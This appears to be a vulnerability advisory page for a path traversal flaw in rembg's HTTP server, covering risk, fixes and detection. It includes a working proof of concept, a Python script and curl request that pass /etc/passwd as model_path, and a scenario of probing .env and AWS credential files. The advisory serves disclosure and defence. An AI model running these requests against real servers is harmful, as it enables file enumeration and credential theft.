CVE-2026-40086: rembg: path traversal exposes arbitrary files via HTTP API
GHSA-3wqj-33cg-xc48 MEDIUMrembg's HTTP server mode (`rembg s`) allows any unauthenticated remote attacker to read arbitrary files from the server's filesystem by injecting a malicious `model_path` value into the `extras` JSON query parameter — no credentials, no prior access, and no specialized knowledge required. With 1,102 downstream dependents and trivially low exploitation complexity (a single crafted HTTP POST suffices), any deployment exposing rembg's API port risks leaking environment files, database credentials, SSH keys, and system configurations through differential onnxruntime error messages. The root cause is a design boundary violation: a feature built exclusively for local CLI use was inadvertently exposed via the HTTP API without input validation. Upgrade to rembg 2.0.75 immediately, and as an interim control ensure the rembg server is bound to localhost only and placed behind an authenticated reverse proxy.
Risk Assessment
Despite the CVSS 5.3 Medium score, the operational risk for any rembg HTTP server deployment is significantly higher. The attack is unauthenticated, requires no user interaction, and demands no AI or security expertise — a single HTTP POST with a crafted JSON body is the complete exploit. Cloud and containerized deployments that expose port 7000 to internal networks or the public internet are fully exposed to filesystem enumeration and credential harvesting. The OpenSSF scorecard of 8.1/10 reflects reasonable project hygiene but does not mitigate this exposure. Risk should be treated as HIGH for any environment running rembg in server mode outside of a strictly isolated context.
Attack Kill Chain
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| rembg | pip | < 2.0.75 | 2.0.75 |
Do you use rembg? You're affected.
Severity & Risk
Attack Surface
Recommended Action
- **Patch now**: Upgrade rembg to version 2.0.75, which removes custom model loading from the HTTP API surface. 2. **Interim network control**: Bind the rembg server to 127.0.0.1 only; never expose port 7000 to any network without authentication in front of it. 3. **Reverse proxy with auth**: Place rembg behind nginx or Caddy with basic or token authentication before any external-facing deployment. 4. **Least privilege**: Run the rembg process as a low-privilege user with read access scoped to model directories only; use read-only filesystem mounts for containers. 5. **Detection**: Grep server logs for `extras` parameters containing path separators (`/`, `..`, `~`); alert on onnxruntime error strings `Protobuf parsing failed` or `NO_SUCHFILE` referencing non-model paths. 6. **Audit exposure**: Scan internal networks for port 7000 to identify any unprotected rembg instances.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40086?
rembg's HTTP server mode (`rembg s`) allows any unauthenticated remote attacker to read arbitrary files from the server's filesystem by injecting a malicious `model_path` value into the `extras` JSON query parameter — no credentials, no prior access, and no specialized knowledge required. With 1,102 downstream dependents and trivially low exploitation complexity (a single crafted HTTP POST suffices), any deployment exposing rembg's API port risks leaking environment files, database credentials, SSH keys, and system configurations through differential onnxruntime error messages. The root cause is a design boundary violation: a feature built exclusively for local CLI use was inadvertently exposed via the HTTP API without input validation. Upgrade to rembg 2.0.75 immediately, and as an interim control ensure the rembg server is bound to localhost only and placed behind an authenticated reverse proxy.
Is CVE-2026-40086 actively exploited?
No confirmed active exploitation of CVE-2026-40086 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-40086?
1. **Patch now**: Upgrade rembg to version 2.0.75, which removes custom model loading from the HTTP API surface. 2. **Interim network control**: Bind the rembg server to 127.0.0.1 only; never expose port 7000 to any network without authentication in front of it. 3. **Reverse proxy with auth**: Place rembg behind nginx or Caddy with basic or token authentication before any external-facing deployment. 4. **Least privilege**: Run the rembg process as a low-privilege user with read access scoped to model directories only; use read-only filesystem mounts for containers. 5. **Detection**: Grep server logs for `extras` parameters containing path separators (`/`, `..`, `~`); alert on onnxruntime error strings `Protobuf parsing failed` or `NO_SUCHFILE` referencing non-model paths. 6. **Audit exposure**: Scan internal networks for port 7000 to identify any unprotected rembg instances.
What systems are affected by CVE-2026-40086?
This vulnerability affects the following AI/ML architecture patterns: model serving, AI/ML API services, containerized ML workloads.
What is the CVSS score for CVE-2026-40086?
CVE-2026-40086 has a CVSS v3.1 base score of 5.3 (MEDIUM).
Technical Details
NVD Description
## Summary A **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. **CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path) --- ## Details ### Vulnerable Code Flow The vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`). **1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202) ```python def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response: kwargs = {} if commons.extras: try: kwargs.update(json.loads(commons.extras)) # ❌ No validation except Exception: pass # ... session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs ``` The `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation. **2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83) ```python @classmethod def download_models(cls, *args, **kwargs): model_path = kwargs.get("model_path") if model_path is None: raise ValueError("model_path is required") return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation ``` The `model_path` is returned with tilde expansion but no validation against path traversal. **3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38) ```python self.inner_session = ort.InferenceSession( str(self.__class__.download_models(*args, **kwargs)), # Reads file # ... ) ``` The path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file. ### Root Cause The custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation. --- ## PoC ### Prerequisites - Python 3.10+ - rembg installed with CLI support: `pip install "rembg[cpu,cli]"` ### Step 1: Start the Vulnerable Server Open a terminal and run: ```bash rembg s --host 0.0.0.0 --port 7000 ``` You should see output like: ``` To access the API documentation, go to http://localhost:7000/api To access the UI, go to http://localhost:7000 ``` ### Step 2: Send the Exploit Request Open a **second terminal** and run this Python script: ```python import requests import json import urllib.parse from io import BytesIO # Minimal valid 1x1 PNG image (required for the request) MINIMAL_PNG = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F, 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 ]) # Target paths to test test_paths = [ "/etc/passwd", # System file (should exist) "/nonexistent/file.txt", # Non-existent file ] for path in test_paths: print(f"\n[*] Testing path: {path}") # Build request - extras must be in URL query string extras = json.dumps({"model_path": path}) url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}" response = requests.post( url, files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")}, data={"model": "u2net_custom"}, timeout=30 ) print(f" Status: {response.status_code}") print(f" Response: {response.text[:100]}") ``` Or use **curl** directly: ```bash # Create a minimal PNG file python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png # Send exploit request targeting /etc/passwd curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \ -F "model=u2net_custom" \ -F "file=@/tmp/test.png" ``` ### Step 3: Verify in Server Logs Go back to the **first terminal** where the server is running. You will see error messages like: ``` onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: [ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed. ``` ``` onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: [ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist ``` ### Understanding the Results | Server Log Message | What It Proves | |-------------------|----------------| | `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime | | `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission | | `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration | **The key proof:** The message `"Load model from /etc/passwd failed:Protobuf parsing failed"` proves that: 1. The attacker-controlled path was passed through without validation 2. `onnxruntime.InferenceSession()` attempted to **read the file contents** 3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf --- ## Impact ### Who is Affected? - **All users** running `rembg s` (HTTP server mode) - **Cloud deployments** where rembg is exposed as an API service - **Docker containers** running rembg server ### Attack Scenarios 1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files) 2. **Credential Discovery**: Attacker checks for common credential files 3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration 4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory ### What is NOT Affected? - CLI usage (`rembg i`, `rembg p`) - users already have local file access - Library usage - developers control the input --- ## Recommended Fix ### Option 1: Disable Custom Models for HTTP API (Recommended) Remove custom model types from the HTTP API session list: ```python # In s_command.py, filter out custom models ALLOWED_HTTP_MODELS = [ name for name in sessions_names if not name.endswith('_custom') ] # Use ALLOWED_HTTP_MODELS in the model parameter regex model: str = Query( regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")", default="u2net", ) ``` ### Option 2: Validate model_path Against Allowlist If custom models must be supported via HTTP: ```python import os ALLOWED_MODEL_DIRS = [ os.path.expanduser("~/.u2net"), "/app/models", # or your designated model directory ] def validate_model_path(path: str) -> str: """Validate model path is within allowed directories.""" abs_path = os.path.abspath(os.path.expanduser(path)) for allowed_dir in ALLOWED_MODEL_DIRS: allowed_abs = os.path.abspath(allowed_dir) if abs_path.startswith(allowed_abs + os.sep): return abs_path raise ValueError(f"model_path must be within allowed directories") ``` ### Option 3: Document Security Considerations At minimum, add security warnings to the documentation: ```markdown ⚠️ **Security Warning**: When running `rembg s` in production: - Do NOT expose the server directly to the internet - Use a reverse proxy with authentication - Consider disabling custom model support ``` --- ## References - **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html) - **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal) ---
Exploitation Scenario
An adversary performing internal reconnaissance after initial network access — or scanning exposed cloud infrastructure — identifies a rembg HTTP server on port 7000. They submit a POST request to `/api/remove?extras=%7B%22model_path%22%3A%22%2Fapp%2F.env%22%7D` with a minimal 1×1 PNG. The server passes the unsanitized path directly to onnxruntime, which reads the `.env` file and returns an error confirming it was read but is not a valid ONNX protobuf. The attacker iterates across common credential paths — AWS credentials (`~/.aws/credentials`), database URIs, Stripe or OpenAI API keys embedded in environment files — building a complete credential map. These credentials are then used to pivot into cloud infrastructure, connected databases, or upstream AI service accounts. The entire attack leaves minimal traces beyond standard HTTP access logs.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-28500 9.1 onnx: Integrity Verification bypass enables tampering
Same package: onnx CVE-2024-5187 8.8 ONNX: path traversal in model download enables RCE
Same package: onnx CVE-2026-34445 8.6 ONNX: property overwrite via crafted model file
Same package: onnx CVE-2024-7776 8.1 ONNX: path traversal in download_model enables RCE
Same package: onnx GHSA-q56x-g2fj-4rj6 7.1 onnx: TOCTOU symlink following enables arbitrary file write
Same package: onnx
AI Threat Alert